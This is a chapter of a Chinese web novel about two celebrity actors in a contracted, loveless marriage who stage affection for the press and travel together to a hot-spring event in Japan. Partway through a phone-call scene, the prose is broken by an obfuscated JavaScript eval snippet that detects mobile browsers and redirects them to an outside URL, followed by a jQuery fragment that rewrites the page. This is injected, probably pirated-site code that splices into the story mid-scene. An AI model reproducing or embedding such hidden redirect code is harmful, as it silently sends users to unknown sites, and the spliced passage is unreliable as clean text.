-
“为什么没有办公开的婚礼？”
沈河说：“我们有私下和亲戚朋友一起吃个饭。”
沈稚说：“大家都很忙，不太好意思麻烦人。”
“有没有要孩子的计划？”
沈河说：“不是没有这个想法，但是嘛——”
沈稚说：“我可能还没做好心理准备。”
沈河说：“其实我也是。而且她的身体这两年不太好，可能太累了。我们想再两个人一起过些日子。”
“真的吗？我不信。”
听到主持人的这句话，倏忽间，沈河笑了，沈稚也笑了。
沈河说：“你信不信都无所谓啊。”
-
“沈河沈稚夫妻现身机场，亲密无间聊天大秀恩爱”。
微博热搜，新闻娱乐版，媒体推送，全都以上述内容安排上了。
差不多从两年前起，沈河和沈稚至少每半年会放弃VIP通道一起走一次机场。目的自然不是别的，工作需要而已。
在记者们的相机里，他们两人正说说笑笑，但实际上在谈论的内容却是——
“是你接的活？”沈稚表面在笑，眼睛里却没有丝毫笑意。
“这个节目？”沈河从容不迫地反问，“是你经纪人拿过来的。”
沈稚看着仙得不行，和沈河说话却还保留着原先读书时的口吻：“别想骗我，你打算做个人脱口秀节目不是吗。”
沈河也没好到哪里去：“谁骗你了？不然打一架啊。”
“你以为我会怕你吗？”
都这把年纪了，在娱乐圈也沉浮了十多年，却还跟以前刚满十八岁时似的。
“孩子们！”
“乖乖。”
两边经纪人同时发话，“声音太大了！”
刚刚还剑拔弩张的沈河与沈稚不约而同老实收声：“对不起。”
又回头，看到跟随而来的媒体和粉丝朋友，沈河和沈稚立即切换工作状态。
大家来一趟也不容易，为的就是看他们的新鲜事。
沈河不知不觉伸出手臂，绕过沈稚后背搂住她。沈稚则专心致志确认航班，低着头的样子好像享受沈河的庇护。
亲昵这一点，两个人不会表现得过分，却绝对不会有疏漏。
进航站台，日程不同去向也不同。无需眼神交流，立刻一拍两散。
他们是搜索百科词条上和对方关联的人。
从沈河的界面能通过“妻子”一栏直达沈稚，在沈稚的界面也能通过“丈夫”一栏找到沈河。
六年前《当你老了》的收视率创下纪录，斩获一干奖项，甚至翻译到了日本、韩国、泰国等多个国家播出。
沈河与沈稚在播出期间被曝结婚，原本就高的关注度节节升高，这两位演员的人气也上了远远不止一个台阶。
从那以后，两个人身为演员打拼事业的道路就此开始。
沈河开始专心致志出演电影，沈稚则打造电视剧演员的口碑。
他们的生活一切是参照普通夫妻来打造的。
也不是从一开始就顺利的。
正常人结婚会烦恼的事情，他们逃过了大多数，但还是有数不清的困难。
比如他们要在哪里一起生活，比如如何向大家解释他们做这个决定的前因后果，比如他们该如何与对方相处。
家里房间是分开的，私下从来没有什么近距离接触，说话也都冷言冷语，不打起来就不错了。
沈稚为起居室的墙纸颜色和沈河大吵一架。
沈河为是否要买一套价格媲美小轿车的刀具和沈稚争执不休。
两个人谁都不肯退让，就像读书时一样，沈稚穿鞋踩在沈河的床垫上，沈河手持沈稚的蓝牙音箱，相互威胁，抵抗到底。
最后谁都没法上床睡觉，总觉得谁先睡着谁就输了。掏出工作的精力熬夜数日，最终迫不得已握手言和，放过对方，也放过自己。
他们并排坐在脏兮兮的床垫上抽烟。
沈稚说：“我们本来就不用管对方的。”
沈河说：“是的。”
沈河说：“反正我们也就这种关系。”
沈稚说：“没错。”
与其说是结婚，倒不如说是没有离婚。而在没有离婚的这六年里，他们基本都是公事公办。
等上车听经纪人将接下来一段时间接到的工作邀约分门别类，沈稚墨镜下滑眯起眼：“综艺？”
“就是类似于韩国《同床异梦》这一类的真人秀节目，不过创新性地加入了一些竞技元素。”
随着互联网发展，广播电视产业渐渐走下坡路。为了换取收视率，电视台策划层出不新，购买版权翻拍国外综艺的例子比比皆是。真人秀首当其冲。
不过千金难买的是观众喜欢。
如今的丁尧彩已经只需要负责沈稚一个人，眼下正耐心地等待沈稚回复。放在从前，她自己拿主意是绝不可能的，一切都只听从公司安排。
关于真人秀，沈稚没有兴趣，但也不是她一个人说了算。
沈稚说：“先问问他的意思吧。”
她不说他的名字，可周围人都知道“他”是谁。
另一边，沈河将口罩拉至下颌，一本萨特的《恶心》随着手指松开而哗啦啦翻页。他的表情像在做梦。
想了想，沈河问：“她怎么说？”
双方态度都挺被动，看样子是要推了。
沈河的经纪人用apple pencil在属于这项叫《结婚的男女》的综艺上做了标注。
五年前他更换了经纪人。
以前的经纪人对他擅自作主结婚颇有微词，两个人协商过后一拍两散。至于沈河是如何与对方和平结束、沟通到下家的尚且无人知晓。如今的经纪人叫习习，是一名打扮有些中性的已婚女性。
预备要打会儿盹，沈河却倏然想起什么，缓了一步问：“为什么谈恋爱也能做综艺？”
习习说：“人都有情感需求。生活已经很难了，爱情太难得。借看你们的得到一些慰藉。”
听完回答，沈河思索片刻，随即笑笑。
他低声说：“其实我们也很难。”
-
沈稚回到家。窗户全都是保护隐私的透气窗，房主不在期间，私人家政将一切整理得井井有条。非常值得曾经令她和沈河产生分歧的酬劳价位。
沈河最近都在脚不沾地地工作。
她先洗了个澡，然后睡觉。
醒过来后又试用了一下新买的发膜。
她擦着头发，边走边清理手机里来不及处理的消息，结果一不小心踢到起居室里沈河的杠铃。骂了一句“臭傻逼”，她回到自己卧室去。
下午做常规项目，丁尧彩打电话来，说：沈河会去热海的开幕式你知道吗？”
“是吗？”沈稚不怎么关心。
“我只是来多问一句你会不会陪同，我好安排你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117698|179984||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“他是他，我是我，除非共同利益。”沈稚继续不以为然地说，“你又不是不知道。”
“分得这么清？”
沈稚的嗓音没有起伏：“就只是彻头彻尾的表面夫妻。”
沉默片刻，丁尧彩回答：“我只是想起你前段时间抱怨腰酸背痛。日本那边的招待是在高级温泉旅馆，海蟹也很好吃。反正你在休假。”
挂断电话，室内安静下来。
沈稚不声不响地站在原地。
手机忽然震动，她点开微信。备注连名带姓为“沈河”的人发来消息，问她说：“我的护照在家吗？”
温泉一定很舒服。
海蟹也很久没有吃过了。
有关沈稚同行去热海这件事，沈河没有忘记按照传统挤兑两句。
“你要记得是沾我的光。”他说。
她草草敷衍了事：“感谢你的大恩大德。”
过了一会儿，他从微信上发来两秒钟不到的语音。沈稚在美容院点开，猝不及防听到一句“叫爸爸”。
沈河声音有点沙哑，大约是拍戏累得够呛。沈稚知道他纯粹是口嗨，他们俩平时就这样占对方便宜。
然而，回头就对上工作人员娇羞中带着点羡慕的表情。
并且得到恭维：“您和您先生感情真好。”
他们不是同一个航班，直接在国际机场碰面，海外跟拍的媒体不多，应付起来也轻松些。
还没到工作日程，见面时，沈河穿一件没有logo的套头衫和运动裤，跟居家数十年找不到工作啃老的宅男没什么区别；沈稚则浑身黑色的宽松款，配上XL的遮阳帽，有点像个下山的道姑。
假如忽视那两张漂亮到惹眼的脸，这两个人真是朴素到不能再朴素了。
他们看到对方，也不打招呼。
“走吧。”沈河直接说。
沈稚接下去：“车在哪？”
丁尧彩没去，习习调侃他们：“孩子们，见面好歹也问候一下啊。”
于是沈河说：“Aloha.”
没有一丁点认真的意思。
沈稚也满不在乎地回答：“Aloha.”
留下习习又笑：“为什么是夏威夷话啊？”
路途遥远，本该费神费力。但好在他们都在交通工具上补足了睡眠，等到旅馆时已经彻底恢复精神。
进入酒店的房间，沈稚第一个去看独院里的温泉。
沈河放下东西，穿过外边的房间和走廊，站到落地窗边直接开始脱衣服。万幸在最后关头被经纪人以“等会儿还有工作”劝阻。
一直到沈河走，沈稚也没有丝毫理会他的意思。沈河走也没跟她打招呼。
去打过招呼，又被提议留下吃饭，沈河也答应了。
助理搭话说：“要不要和沈稚老师报备一声呢？”
第一次沈河没听清。
俯下身确认对方说了什么后，他只保持着刚才应对别人时的笑容摆手，迅速地解决这个问题。
这么多年了，他们的关系可能好了一点。
但还是不怎么样。
刚接手沈河时，习习理所当然地知道他们结婚的性质，但保险起见，还是问过一次：“你们还是有点感情的吧？”
结果沈河斩钉截铁地回答：“没有。”
“没有？”
他很爽快地否认：“那当然。”
“那就好，”经纪人说，“你记得你们结婚的期限是七年吧。”